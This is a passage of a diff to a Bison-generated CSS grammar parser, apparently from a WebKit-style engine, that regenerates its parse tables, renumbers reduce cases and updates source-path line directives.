-     120,    81,    92,    93,     0,    94,    95,     0,   121,     0,
-       0,   122,     0,     0,     0,   123,   124,     0,     0,     0,
+     111,   112,   113,   114,   115,   116,   117,   118,   119,   120,
+     121,   122,   123,    32,   124,    85,     0,     0,     0,     0,
+      96,    97,   125,    98,    99,   126,     0,     0,     0,   127,
+     128,     0,     0,     0,     0,     0,     0,     0,     0,     0,
+       0,     0,     0,     0,     0,     0,     0,     0,     0,     0,
+       0,     0,   100,   101,   102,   103,   104,   105,   106,   107,
+     108,   109,   110,   111,   112,   113,   114,   115,   116,   117,
+     118,   119,   120,   121,   122,   123,     0,   124,    85,    96,
+      97,     0,    98,    99,     0,   125,     0,     0,   126,     0,
+       0,     0,   127,   128,     0,     0,     0,     0,     0,     0,
+       0,     0,     0,     0,     0,     0,     0,     0,     0,     0,
+       0,   100,   101,   102,   103,   104,   105,   106,   107,   108,
+     109,   110,   111,   112,   113,   114,   115,   116,   117,   118,
+     119,   120,   121,   122,   123,     0,   124,    85,     0,     0,
+     348,   459,     0,     0,   125,     0,     0,   126,     0,     0,
+       0,   127,   128,    46,     0,    47,    48,    49,    50,    51,
+      52,    53,    54,    55,    56,    57,     0,    58,     0,     0,
+       0,    59,     0,     0,     0,    60,    61,     0,     0,   270,
        0,     0,     0,     0,     0,     0,     0,     0,     0,     0,
-       0,     0,     0,     0,    96,    97,    98,    99,   100,   101,
-     102,   103,   104,   105,   106,   107,   108,   109,   110,   111,
-     112,   113,   114,   115,   116,   117,   118,   119,     0,   120,
-      81,     0,     0,     0,     0,     0,     0,   121,     0,     0,
-     122,     0,     0,     0,   123,   124
+       0,     0,     0,     0,     0,     0,     0,     0,     0,     0,
+       0,     0,     0,     0,     0,     0,     0,     0,     0,     0,
+       0,     0,   349
 };
 
 static const yytype_int16 yycheck[] =
 {
-       0,    40,   167,     0,    37,     1,     5,     5,    68,     9,
-      10,    11,    12,    13,    14,    15,    36,    17,    18,    19,
-      20,    21,    22,    23,    12,   261,    13,    43,    45,   154,
-       5,    73,    70,    33,    72,    13,    14,     5,    13,     5,
-       6,     5,     5,    35,    36,    13,     5,     5,     6,    12,
-      83,    51,    20,    21,    54,   294,    56,    57,    58,    59,
-     233,     5,    26,     0,     1,    83,    84,    71,    71,    85,
-      73,     5,     0,    39,    71,    72,    63,    73,    66,    79,
-      80,     1,    81,    81,    43,    72,    86,    65,    63,    89,
-      90,     1,    92,    93,    94,    95,    96,    97,    98,    99,
+       0,    40,   168,   272,     5,     1,     5,     5,     5,     9,
+      10,    11,    12,    13,    14,    15,    72,    17,    18,    19,
+      20,    21,    22,    23,    74,    37,    76,     5,     5,   422,
+      77,   267,     5,    33,     5,    12,   422,     1,    41,    42,
+       5,     5,     5,     5,   238,    43,    71,     5,    73,    13,
+      12,    51,    17,    71,    54,   307,    56,    57,    58,    59,
+      60,    61,    62,    26,     0,     5,    37,    71,     0,    73,
+      43,    74,     5,    13,    14,    87,     1,    73,    75,     1,
+      81,   474,    81,    83,    84,    71,     5,     1,   474,    66,
+      90,     0,     1,    93,    94,    73,    96,    97,    98,    99,
      100,   101,   102,   103,   104,   105,   106,   107,   108,   109,
      110,   111,   112,   113,   114,   115,   116,   117,   118,   119,
-     120,   181,   140,   123,   124,     1,   144,   366,     5,   129,
-       1,    75,   368,   153,   134,    72,   309,   137,   155,   378,
-     265,   141,   267,   185,   186,   145,   184,     1,   164,   149,
-     166,    71,   168,     1,     0,   394,    76,     5,   331,   395,
-     160,    71,    71,    73,     1,     5,    76,    15,    16,    17,
-      18,    19,     5,   173,   174,     1,   408,   195,   178,   179,
-     180,     0,     1,     5,     5,     5,    71,    13,     5,   189,
-       5,    12,     1,    71,    71,    71,     5,    17,   198,    76,
-      76,   201,    73,   376,     1,     5,    15,    16,    17,    18,
-      19,     5,   272,     5,    71,   451,    73,    71,   343,   392,
-      17,     1,    76,    71,    72,     5,    72,    75,    76,    77,
-      78,    79,     5,   465,    74,    72,   254,   237,     5,    76,
-      73,   241,   242,   261,     1,    66,    72,   263,     5,     5,
-     250,    73,    71,    72,    73,    72,   256,    72,   300,   259,
-      17,   294,    71,    72,    37,    71,    75,    76,    77,    78,
-      79,    71,    71,   273,    71,   400,    43,    71,    21,    71,
-       5,   281,   408,    71,   284,    73,   302,    12,    13,   289,
-     306,    71,   292,     7,     8,     9,    10,    11,   408,     5,
-       5,   474,   408,   303,    13,   305,     5,    13,   308,   325,
-       5,   311,   312,   438,    71,   480,     5,   408,    13,   319,
-     320,   321,   322,    13,    13,    21,   326,    17,   328,   454,
-     330,     1,   332,   366,     1,     5,    41,    42,     5,   465,
-     340,   341,    41,    42,     1,   378,    13,     1,     5,   349,
-      72,   351,     5,    72,     1,   465,    13,   373,     5,   465,
-     360,   394,    72,     1,   364,   365,    71,    81,    82,    74,
-     370,   410,    71,   389,   465,    74,     1,    67,    68,   395,
-     380,    22,   399,    40,    71,   385,    73,   387,    41,    42,
-     406,     7,     8,     9,    10,    11,    39,    71,   398,    73,
-      13,    71,    72,     5,   404,     1,    76,    77,    78,    79,
-      73,    13,   412,    70,   498,   415,   500,   417,   434,     1,
-     436,    74,   422,    73,    71,    72,    71,   427,    73,    76,
-      77,    78,    79,     0,     1,   451,     5,     0,     1,    41,
-      42,    41,    42,    12,    13,    71,    13,    73,   448,    71,
-      13,    73,    15,    16,    17,    18,    19,    20,    21,    22,
-      23,    24,    25,    75,    75,    81,    82,   467,    31,    75,
-       0,     1,    74,    40,    74,   475,    39,    13,   478,   479,
-       1,   481,    12,    13,    71,    15,    16,     1,   488,    43,
-       1,     5,     1,     1,     5,   495,     1,    72,    12,    13,
-       5,    12,   502,    70,    71,    72,   506,    12,    27,    72,
-      40,    71,    71,    73,    44,    45,    46,    47,    48,    49,
-      50,    51,    52,    53,    54,    55,    56,    57,    58,    59,
-      60,    61,    62,    63,    64,    65,    66,    67,    72,    69,
-      70,    71,    72,    73,     0,     1,    76,    77,    75,     5,
-      80,     5,    66,    83,    84,    85,    12,    13,    71,    15,
-      16,    66,     5,     5,    71,     1,    73,   399,    72,     5,
-      13,    72,    15,    16,    17,    18,    19,    20,    21,    15,
-      16,    17,    18,    19,    71,    71,    73,    73,    44,    45,
-      46,    47,    48,    49,    50,    51,    52,    53,    54,    55,
-      56,    57,    58,    59,    60,    61,    62,    63,    64,    65,
-      66,    67,    72,    69,    70,    71,    72,    73,    71,     1,
-      73,    77,   409,    71,    80,    73,   143,   485,    84,    85,
-      12,    13,   383,    15,    16,    71,    72,   396,   494,    75,
-      76,    77,    78,    79,    28,    29,    30,   425,    32,    33,
-      34,   379,    41,    13,    38,    15,    16,    17,    18,    19,
-      20,    21,    44,    45,    46,    47,    48,    49,    50,    51,
-      52,    53,    54,    55,    56,    57,    58,    59,    60,    61,
-      62,    63,    64,    65,    66,    67,   295,    69,    70,    71,
-      72,    73,   162,     1,    76,    77,   275,    71,    80,    73,
-      70,    83,    84,    85,    12,    13,   352,    15,    16,    71,
-      71,    73,    73,     1,   445,    83,    13,     5,    15,    16,
-      17,    18,    19,    20,   416,   243,   125,    15,    16,    17,
-      18,    19,   465,   399,   399,    -1,    44,    45,    46,    47,
+     120,   121,   122,   123,   124,   377,    82,   127,   128,   323,
+     186,    87,    88,   133,     5,    43,    72,    77,   138,   189,
+      80,   141,   394,   190,   191,   145,    71,     1,   384,   149,
+      72,    76,   346,   153,    76,     1,    75,    71,   410,     5,
+     160,   161,    76,    72,     7,     8,     9,    10,    11,    15,
+      16,    17,    18,    19,     1,   411,     5,     0,   178,   179,
+       1,    89,   422,   183,   184,   185,    13,     5,   144,    71,
+       5,    73,   148,   462,   194,     5,    71,     1,   392,     1,
+      71,     5,    71,   203,   204,    76,   206,     7,     8,     9,
+      10,    11,    71,     5,   408,    17,   382,    71,     5,    73,
+       1,   277,    76,   459,     5,    71,    72,     0,     1,    75,
+      76,    77,    78,    79,   474,    71,    17,     1,    81,    82,
+       5,     5,   242,    72,   200,    72,   246,   247,    71,    72,
+      71,     5,    21,    71,     1,    76,   256,   165,     5,   167,
+      75,   169,   262,   171,    74,   265,   313,    71,    72,    71,
+      13,   422,    76,    77,    78,    79,     5,   422,   278,     0,
+       1,    81,    82,    75,     5,    72,   286,    41,    42,   289,
+      71,    21,    13,   487,   294,   307,   422,   297,    71,    72,
+      73,   301,     5,     5,   260,     1,    71,    71,    72,     5,
+      13,   267,    76,    77,    78,    79,   316,    13,   318,    40,
+      74,   321,     5,   474,    71,   325,   326,     5,     1,   474,
+      13,     5,   422,    72,   334,   335,   336,   337,     5,    41,
+      42,   341,    71,   343,    40,   345,    13,   347,   474,    70,
+      71,    72,    73,    72,    13,     1,   356,   357,    17,     5,
+     360,   269,   362,   422,    12,   377,    12,    41,    42,    71,
+       5,   371,    74,     1,    70,   375,   376,     5,    13,   379,
+      63,   381,   394,   383,   474,   424,   386,    15,    16,    17,
+      18,    19,    72,    71,     5,    73,   396,    71,   410,     1,
+      74,   401,    13,   403,   428,    13,   430,   315,    67,    68,
+      71,   319,    73,     0,     1,   474,   416,     1,    66,   419,
+      66,     5,    71,    13,    73,   333,    13,   427,    12,    13,
+      41,    42,   340,   433,     5,   435,     1,    71,     1,    73,
+     440,    12,    13,    71,    72,   445,   354,    75,    76,    77,
+      78,    79,     5,    40,     1,    63,   456,     1,     5,    73,
+      13,     5,     5,    74,    72,    12,    73,    20,    21,    12,
+      13,    15,    16,    17,    18,    19,   476,    71,    71,    73,
+      73,   389,    66,    70,    71,    72,     5,     6,   488,    71,
+      71,   491,    73,   493,    28,    29,    30,   405,    32,    33,
+      34,     1,   502,   411,    38,    71,    13,    73,   508,     0,
+       1,    71,     5,   421,     5,    71,    71,    73,   426,     1,
+      43,    12,    13,     1,    15,    16,    65,    71,    72,     5,
+       1,    75,    76,    77,    78,    79,    71,    13,    73,    15,
+      16,    17,    18,    19,    20,    21,    71,    75,    73,    40,
+      71,   459,    73,    44,    45,    46,    47,    48,    49,    50,
+      51,    52,    53,    54,    55,    56,    57,    58,    59,    60,
+      61,    62,    63,    64,    65,    66,    67,    72,    69,    70,
+      71,    72,    73,    72,    75,    76,    77,     0,     1,    80,
+     423,    72,    83,    84,    85,    72,    71,   156,    73,    12,
+      13,   147,    15,    16,    71,    71,    73,    73,     1,    72,
+     298,    13,     5,    15,    16,    17,    18,    19,    20,    21,
+     399,   443,    15,    16,    17,    18,    19,    40,   372,   499,
+      41,    44,    45,    46,    47,    48,    49,    50,    51,    52,
+      53,    54,    55,    56,    57,    58,    59,    60,    61,    62,
+      63,    64,    65,    66,    67,   395,    69,    70,    71,    72,
+      73,     0,     1,    76,    77,   308,     5,    80,    74,   163,
+      83,    84,    85,    12,    13,   276,    15,    16,    71,    72,
+     280,   363,    75,    76,    77,    78,    79,    13,    87,    15,
+      16,    17,    18,    19,    20,    15,    16,    17,    18,    19,
+     453,   434,   129,   248,   474,    44,    45,    46,    47,    48,
+      49,    50,    51,    52,    53,    54,    55,    56,    57,    58,
+      59,    60,    61,    62,    63,    64,    65,    66,    67,    -1,
+      69,    70,    71,    72,    73,   156,     1,   156,    77,     0,
+       1,    80,    -1,    -1,    -1,    84,    85,    12,    13,    -1,
+      15,    16,    13,    -1,    15,    16,    17,    18,    19,    20,
+      21,    22,    23,    24,    25,    -1,    27,    -1,    -1,    -1,
+      31,    -1,    -1,    -1,    35,    36,    -1,    -1,    39,    44,
+      45,    46,    47,    48,    49,    50,    51,    52,    53,    54,
+      55,    56,    57,    58,    59,    60,    61,    62,    63,    64,
+      65,    66,    67,    -1,    69,    70,    71,    72,    73,    -1,
+       1,    76,    77,    -1,    -1,    80,    -1,    -1,    83,    84,
+      85,    12,    13,    -1,    15,    16,    44,    45,    46,    47,
       48,    49,    50,    51,    52,    53,    54,    55,    56,    57,
-      58,    59,    60,    61,    62,    63,    64,    65,    66,    67,
-      -1,    69,    70,    71,    72,    73,    -1,     1,    76,    77,
-      -1,     5,    80,    -1,    -1,    83,    84,    85,    12,    13,
-      -1,    15,    16,    71,    72,    -1,    -1,    75,    76,    77,
-      78,    79,    15,    16,    17,    18,    19,    -1,    -1,    -1,
+      58,    59,    60,    61,    62,    63,    64,    65,    -1,    -1,
+      -1,    -1,    -1,    44,    45,    46,    47,    48,    49,    50,
+      51,    52,    53,    54,    55,    56,    57,    58,    59,    60,
+      61,    62,    63,    64,    65,    66,    67,    -1,    69,    70,
+      71,    72,    73,    -1,     1,    76,    77,    -1,     5,    80,
+      -1,    -1,    83,    84,    85,    12,    13,    -1,    15,    16,
       -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      44,    45,    46,    47,    48,    49,    50,    51,    52,    53,
-      54,    55,    56,    57,    58,    59,    60,    61,    62,    63,
-      64,    65,    66,    67,    -1,    69,    70,    71,    72,    73,
-      -1,     1,    -1,    77,    -1,     5,    80,    -1,    -1,     5,
-      84,    85,    12,    13,    -1,    15,    16,    13,    -1,    15,
+      -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
+      -1,    -1,    -1,    -1,    -1,    -1,    -1,    44,    45,    46,
+      47,    48,    49,    50,    51,    52,    53,    54,    55,    56,
+      57,    58,    59,    60,    61,    62,    63,    64,    65,    66,
+      67,    -1,    69,    70,    71,    -1,    -1,    -1,    75,    76,
+      77,     1,    -1,    80,    -1,    -1,    83,    84,    85,     5,
+      -1,    -1,    12,    13,    -1,    15,    16,    13,    -1,    15,
       16,    17,    18,    19,    20,    21,    22,    23,    24,    25,
-      -1,    -1,    -1,    -1,    -1,    31,    -1,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    44,    45,    46,    47,    48,    49,
+      -1,    27,    -1,    -1,    -1,    31,    -1,    -1,    -1,    35,
+      36,    -1,    -1,    -1,    44,    45,    46,    47,    48,    49,
       50,    51,    52,    53,    54,    55,    56,    57,    58,    59,
       60,    61,    62,    63,    64,    65,    66,    67,    -1,    69,
-      70,    -1,    -1,    -1,    -1,    75,    76,    77,     1,    -1,
-      80,     0,     1,    83,    84,    85,    -1,    -1,    -1,    12,
-      13,    -1,    15,    16,    13,    -1,    15,    16,    17,    18,
-      19,    20,    21,    22,    23,    24,    25,    -1,    -1,    -1,
-      -1,    -1,    31,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      39,    44,    45,    46,    47,    48,    49,    50,    51,    52,
-      53,    54,    55,    56,    57,    58,    59,    60,    61,    62,
-      63,    64,    65,    66,    67,    -1,    69,    70,    -1,    72,
-      -1,    -1,     1,    76,    77,    -1,    -1,    80,    -1,    -1,
-      83,    84,    85,    12,    13,    -1,    15,    16,    44,    45,
+      70,    71,    72,    -1,    -1,     1,    76,    77,    -1,    -1,
+      80,    -1,    -1,    83,    84,    85,    12,    13,    -1,    15,
+      16,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
+      -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
+      -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    44,    45,
       46,    47,    48,    49,    50,    51,    52,    53,    54,    55,
       56,    57,    58,    59,    60,    61,    62,    63,    64,    65,
+      66,    67,    -1,    69,    70,    71,    -1,    -1,    -1,    75,
+      76,    77,     1,    -1,    80,    -1,     5,    83,    84,    85,
+      -1,    -1,    -1,    12,    13,    -1,    15,    16,    -1,    -1,
+      -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
+      -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
       -1,    -1,    -1,    -1,    -1,    44,    45,    46,    47,    48,
       49,    50,    51,    52,    53,    54,    55,    56,    57,    58,
       59,    60,    61,    62,    63,    64,    65,    66,    67,    -1,
-      69,    70,    -1,    -1,    -1,    -1,    75,    76,    77,     1,
-      -1,    80,    -1,     5,    83,    84,    85,    -1,    -1,    -1,
-      12,    13,    -1,    15,    16,    -1,    -1,    -1,    -1,    -1,
+      69,    70,    71,    72,    73,    -1,     1,    -1,    77,    -1,
+       5,    80,    -1,    -1,    -1,    84,    85,    12,    13,    -1,
+      15,    16,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
       -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
+      -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    44,
+      45,    46,    47,    48,    49,    50,    51,    52,    53,    54,
+      55,    56,    57,    58,    59,    60,    61,    62,    63,    64,
+      65,    66,    67,     5,    69,    70,    -1,    -1,    -1,    -1,
+      12,    13,    77,    15,    16,    80,    -1,    -1,    -1,    84,
+      85,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
       -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
       -1,    -1,    44,    45,    46,    47,    48,    49,    50,    51,
       52,    53,    54,    55,    56,    57,    58,    59,    60,    61,
-      62,    63,    64,    65,    66,    67,     5,    69,    70,    -1,
-      -1,    -1,    -1,    12,    13,    77,    15,    16,    80,    -1,
+      62,    63,    64,    65,    66,    67,    -1,    69,    70,    12,
+      13,    -1,    15,    16,    -1,    77,    -1,    -1,    80,    -1,
       -1,    -1,    84,    85,    -1,    -1,    -1,    -1,    -1,    -1,
       -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    44,    45,    46,    47,    48,
-      49,    50,    51,    52,    53,    54,    55,    56,    57,    58,
-      59,    60,    61,    62,    63,    64,    65,    66,    67,    -1,
-      69,    70,    12,    13,    -1,    15,    16,    -1,    77,    -1,
-      -1,    80,    -1,    -1,    -1,    84,    85,    -1,    -1,    -1,
+      -1,    44,    45,    46,    47,    48,    49,    50,    51,    52,
+      53,    54,    55,    56,    57,    58,    59,    60,    61,    62,
+      63,    64,    65,    66,    67,    -1,    69,    70,    -1,    -1,
+       0,     1,    -1,    -1,    77,    -1,    -1,    80,    -1,    -1,
+      -1,    84,    85,    13,    -1,    15,    16,    17,    18,    19,
+      20,    21,    22,    23,    24,    25,    -1,    27,    -1,    -1,
+      -1,    31,    -1,    -1,    -1,    35,    36,    -1,    -1,    39,
       -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    44,    45,    46,    47,    48,    49,
-      50,    51,    52,    53,    54,    55,    56,    57,    58,    59,
-      60,    61,    62,    63,    64,    65,    66,    67,    -1,    69,
-      70,    -1,    -1,    -1,    -1,    -1,    -1,    77,    -1,    -1,
-      80,    -1,    -1,    -1,    84,    85
+      -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
+      -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
+      -1,    -1,    72
 };
 
 /* YYSTOS[STATE-NUM] -- The (internal number of the) accessing
    symbol of state STATE-NUM.  */
 static const yytype_uint8 yystos[] =
 {
-       0,    28,    29,    30,    32,    33,    34,    38,    87,    89,
-      90,    91,    92,    93,    94,    95,    96,    71,    71,    71,
-      71,     5,    71,    71,     0,    96,    96,    96,    96,    96,
-      96,    96,     5,    26,    98,   100,    96,    96,    96,    96,
-      96,    96,    96,     1,    96,    97,    13,    15,    16,    17,
-      18,    19,    20,    21,    22,    23,    24,    25,    31,    88,
-     105,   110,   129,   131,   137,   138,   141,   142,   143,   144,
-     145,   146,   147,   148,   149,   150,   152,   155,     1,    13,
-      40,    70,   156,   157,   158,   159,   165,    13,    63,   134,
-     135,   136,    12,    13,    15,    16,    44,    45,    46,    47,
-      48,    49,    50,    51,    52,    53,    54,    55,    56,    57,
-      58,    59,    60,    61,    62,    63,    64,    65,    66,    67,
-      69,    77,    80,    84,    85,   140,   161,   163,   164,   165,
-     166,   167,    41,    42,    74,   122,   123,   125,   126,   142,
-       1,    13,   113,   114,   115,   116,    71,    73,   174,    12,
-       5,     6,    39,   101,   169,   170,    21,    13,    17,    67,
-      68,    13,    96,    21,     1,    96,     1,    96,     1,    96,
-      96,    96,     1,    71,    76,   146,     1,     5,    77,    78,
-      79,   139,    13,    20,   147,   148,   148,     1,   149,    73,
-     174,   175,    96,    96,    72,     1,   158,   175,    73,   175,
-       1,    17,   174,    96,    96,    96,    96,    96,    96,    96,
-      96,    96,    96,    96,    96,    96,    96,    96,    96,    96,
-      96,    96,    96,    96,    96,    96,    96,    96,    96,    96,
-      96,    96,    96,    96,    96,    96,    96,    62,   164,     1,
-      72,    76,    83,   162,    96,    96,    96,    96,    72,    72,
-      73,   175,    96,    72,     1,   115,    73,   175,     1,    17,
-      96,     1,    96,     1,   102,   110,    97,   169,    13,    13,
-      14,    65,    96,    13,    20,   145,   151,    73,   174,    12,
-      66,   119,    73,   174,    71,   126,   128,    73,   174,    71,
-      12,    13,   132,    72,    96,    96,    96,    96,    96,   146,
-     148,    96,     1,    73,   175,    73,     1,    96,    73,    96,
-      72,    71,    76,     1,   161,    96,    96,    96,   163,    13,
-     120,    43,    13,   130,    96,     1,    73,   175,    73,    96,
-      73,    96,    71,     0,    72,    99,   175,    73,    73,   174,
-      35,    36,   103,   111,    97,    97,    75,    75,    75,   146,
-      96,    13,   151,     7,     8,     9,    10,    11,    81,    82,
-     153,    96,    96,     1,    71,    76,    96,    96,   156,   144,
-      73,   174,    96,     1,    96,    96,     1,   161,    96,    96,
-      75,    96,    96,    96,    96,    43,   124,    73,    96,     1,
-      96,    96,     1,   161,    96,     1,    96,    96,    27,   104,
-     117,    97,    96,    81,   153,    96,   127,   128,   107,    96,
-      96,   156,    71,    99,    96,    73,   161,    40,   160,   156,
-     136,    96,    17,   121,   122,    96,    96,    73,   161,   156,
-      99,   127,    37,   112,     1,    96,     1,   105,   106,   110,
-     169,   171,   173,    97,    75,    96,    12,    13,   154,    73,
-     174,     1,    99,   108,   109,   129,   131,   137,   138,   141,
-     168,   169,   171,   172,   173,   107,   126,    72,    96,    96,
-     160,    96,     1,    72,    96,    75,   123,    96,    72,    71,
-       5,    71,    73,   174,    13,   118,   174,    97,   154,    96,
-      99,    97,   168,    96,   133,   161,    96,    96,    96,   128,
-      96,     5,   119,    96,    81,    72,   134,    96,   113,   113,
-      96,    81,    96,    72,    72,    73
+       0,    28,    29,    30,    32,    33,    34,    38,    87,    88,
+      89,    90,    91,    92,    93,    94,    95,    71,    71,    71,
+      71,     5,    71,    71,     0,    95,    95,    95,    95,    95,
+      95,    95,     5,    26,    97,    99,    95,    95,    95,    95,
+      95,    95,    95,     1,    95,    96,    13,    15,    16,    17,
+      18,    19,    20,    21,    22,    23,    24,    25,    27,    31,
+      35,    36,   101,   106,   107,   113,   125,   127,   133,   134,
+     138,   139,   140,   141,   142,   143,   144,   145,   146,   147,
+     149,   152,     1,    13,    40,    70,   153,   154,   155,   156,
+     162,    13,    63,   130,   131,   132,    12,    13,    15,    16,
+      44,    45,    46,    47,    48,    49,    50,    51,    52,    53,
+      54,    55,    56,    57,    58,    59,    60,    61,    62,    63,
+      64,    65,    66,    67,    69,    77,    80,    84,    85,   137,
+     158,   160,   161,   162,   163,   164,    41,    42,    74,   118,
+     119,   121,   122,   139,     1,    13,   109,   110,   111,   112,
+      71,    73,   168,    12,     5,     6,   100,    21,    13,    17,
+      67,    68,    13,    95,    21,     1,    95,     1,    95,     1,
+      95,     1,    95,    95,    95,    95,    95,     1,    71,    76,
+     143,     1,     5,    77,    78,    79,   135,    13,    20,   144,
+     145,   145,     1,   146,    73,   168,   169,    95,    95,    72,
+       1,   155,   169,    73,   169,     1,    17,   168,    95,    95,
+      95,    95,    95,    95,    95,    95,    95,    95,    95,    95,
+      95,    95,    95,    95,    95,    95,    95,    95,    95,    95,
+      95,    95,    95,    95,    95,    95,    95,    95,    95,    95,
+      95,    95,    62,   161,     1,    72,    76,    83,   159,   169,
+      95,    95,    95,    95,    72,    72,    73,   169,    95,    72,
+       1,   111,    73,   169,     1,    17,    95,     1,    95,     1,
+      39,   101,   102,   166,   167,    13,    95,    95,    13,    20,
+     142,   148,    73,   168,    12,    66,   115,    73,   168,    71,
+     122,   124,    73,   168,    71,    73,   168,    13,   114,    12,
+      13,   128,   123,   124,    37,   108,    72,    95,    95,    95,
+      95,    95,   143,   145,    95,     1,    73,   169,    73,     1,
+      95,    73,    95,    95,    72,    71,    76,     1,   158,    95,
+      95,    95,   160,     1,    13,   116,    43,    13,   126,    95,
+       1,    73,   169,    73,    95,    73,    95,    71,     0,    72,
+      98,   169,    73,   168,     1,    96,    13,    14,   136,   137,
+     143,    95,    13,   148,     7,     8,     9,    10,    11,    81,
+      82,   150,    95,    95,     1,    71,    76,    95,    95,   115,
+      95,    71,     5,    71,   153,   141,    73,   168,    95,     1,
+      95,    95,     1,   158,    95,    95,    75,    95,    95,    95,
+      95,    43,   120,    73,    95,     1,    95,    95,     1,   158,
+      95,     1,    73,   168,    95,    95,    65,    95,    81,   150,
+      95,   123,   103,    95,    95,   153,    95,    71,    95,   124,
+      95,    98,    95,    73,   158,    40,   157,   153,   132,    95,
+      17,   117,   118,    95,    95,    73,   158,   153,    98,    75,
+      75,    95,    75,    95,    12,    13,   151,    73,   168,     1,
+      98,   104,   105,   106,   107,   113,   125,   127,   133,   134,
+     138,   165,   166,   167,   103,   122,    72,    73,   168,    95,
+     109,   109,    95,   157,    95,     1,    72,    95,    75,   119,
+      95,    72,    75,   151,    95,    98,    96,   165,    95,   129,
+      72,    72,   158,    95,    95,    95,    81,    72,   130,    95,
+      81,    95
 };
 
 #define yyerrok		(yyerrstatus = 0)
@@ -2133,46 +2167,46 @@ yyreduce:
   YY_REDUCE_PRINT (yyn);
   switch (yyn)
     {
-        case 12:
+        case 10:
 
 /* Line 1455 of yacc.c  */
-#line 287 "../css/CSSGrammar.y"
+#line 280 "css\\CSSGrammar.y"
     {
         static_cast<CSSParser*>(parser)->m_rule = (yyvsp[(4) - (6)].rule);
     ;}
     break;
 
-  case 13:
+  case 11:
 
 /* Line 1455 of yacc.c  */
-#line 293 "../css/CSSGrammar.y"
+#line 286 "css\\CSSGrammar.y"
     {
         static_cast<CSSParser*>(parser)->m_keyframe = (yyvsp[(4) - (6)].keyframeRule);
     ;}
     break;
 
-  case 14:
+  case 12:
 
 /* Line 1455 of yacc.c  */
-#line 299 "../css/CSSGrammar.y"
+#line 292 "css\\CSSGrammar.y"
     {
         /* can be empty */
     ;}
     break;
 
-  case 15:
+  case 13:
 
 /* Line 1455 of yacc.c  */
-#line 305 "../css/CSSGrammar.y"
+#line 298 "css\\CSSGrammar.y"
     {
         /* can be empty */
     ;}
     break;
 
-  case 16:
+  case 14:
 
 /* Line 1455 of yacc.c  */
-#line 311 "../css/CSSGrammar.y"
+#line 304 "css\\CSSGrammar.y"
     {
         CSSParser* p = static_cast<CSSParser*>(parser);
         if ((yyvsp[(4) - (5)].valueList)) {
@@ -2186,20 +2220,20 @@ yyreduce:
     ;}
     break;
 
-  case 17:
+  case 15:
 
 /* Line 1455 of yacc.c  */
-#line 325 "../css/CSSGrammar.y"
+#line 318 "css\\CSSGrammar.y"
     {
          CSSParser* p = static_cast<CSSParser*>(parser);
          p->m_mediaQuery = p->sinkFloatingMediaQuery((yyvsp[(4) - (5)].mediaQuery));
      ;}
     break;
 
-  case 18:
+  case 16:
 
 /* Line 1455 of yacc.c  */
-#line 332 "../css/CSSGrammar.y"
+#line 325 "css\\CSSGrammar.y"
     {
         if ((yyvsp[(4) - (5)].selectorList)) {
             CSSParser* p = static_cast<CSSParser*>(parser);
@@ -2209,18 +2243,18 @@ yyreduce:
     ;}
     break;
 
-  case 25:
+  case 23:
 
 /* Line 1455 of yacc.c  */
-#line 354 "../css/CSSGrammar.y"
+#line 347 "css\\CSSGrammar.y"
     {
   ;}
     break;
 
-  case 28:
+  case 26:
 
 /* Line 1455 of yacc.c  */
-#line 364 "../css/CSSGrammar.y"
+#line 357 "css\\CSSGrammar.y"
     {
      CSSParser* p = static_cast<CSSParser*>(parser);
      (yyval.rule) = static_cast<CSSParser*>(parser)->createCharsetRule((yyvsp[(3) - (5)].string));
@@ -2229,26 +2263,26 @@ yyreduce:
   ;}
     break;
 
-  case 29:
+  case 27:
 
 /* Line 1455 of yacc.c  */
-#line 370 "../css/CSSGrammar.y"
+#line 363 "css\\CSSGrammar.y"
     {
   ;}
     break;
 
-  case 30:
+  case 28:
 
 /* Line 1455 of yacc.c  */
-#line 372 "../css/CSSGrammar.y"
+#line 365 "css\\CSSGrammar.y"
     {
   ;}
     break;
 
-  case 32:
+  case 30:
 
 /* Line 1455 of yacc.c  */
-#line 378 "../css/CSSGrammar.y"
+#line 371 "css\\CSSGrammar.y"
     {
      CSSParser* p = static_cast<CSSParser*>(parser);
      if ((yyvsp[(2) - (3)].rule) && p->m_styleSheet)
@@ -2256,47 +2290,26 @@ yyreduce:
  ;}
     break;
 
-  case 33:
-
-/* Line 1455 of yacc.c  */
-#line 383 "../css/CSSGrammar.y"
-    {
- ;}
-    break;
-
-  case 35:
-
-/* Line 1455 of yacc.c  */
-#line 389 "../css/CSSGrammar.y"
-    {
-    CSSParser* p = static_cast<CSSParser*>(parser);
-     if ((yyvsp[(2) - (3)].rule) && p->m_styleSheet)
-         p->m_styleSheet->append((yyvsp[(2) - (3)].rule));
-;}
-    break;
-
   case 39:
 
 /* Line 1455 of yacc.c  */
-#line 403 "../css/CSSGrammar.y"
+#line 390 "css\\CSSGrammar.y"
     {
-     CSSParser* p = static_cast<CSSParser*>(parser);
-     if ((yyvsp[(2) - (3)].rule) && p->m_styleSheet)
-         p->m_styleSheet->append((yyvsp[(2) - (3)].rule));
- ;}
+        static_cast<CSSParser*>(parser)->m_hadSyntacticallyValidCSSRule = true;
+    ;}
     break;
 
-  case 49:
+  case 42:
 
 /* Line 1455 of yacc.c  */
-#line 426 "../css/CSSGrammar.y"
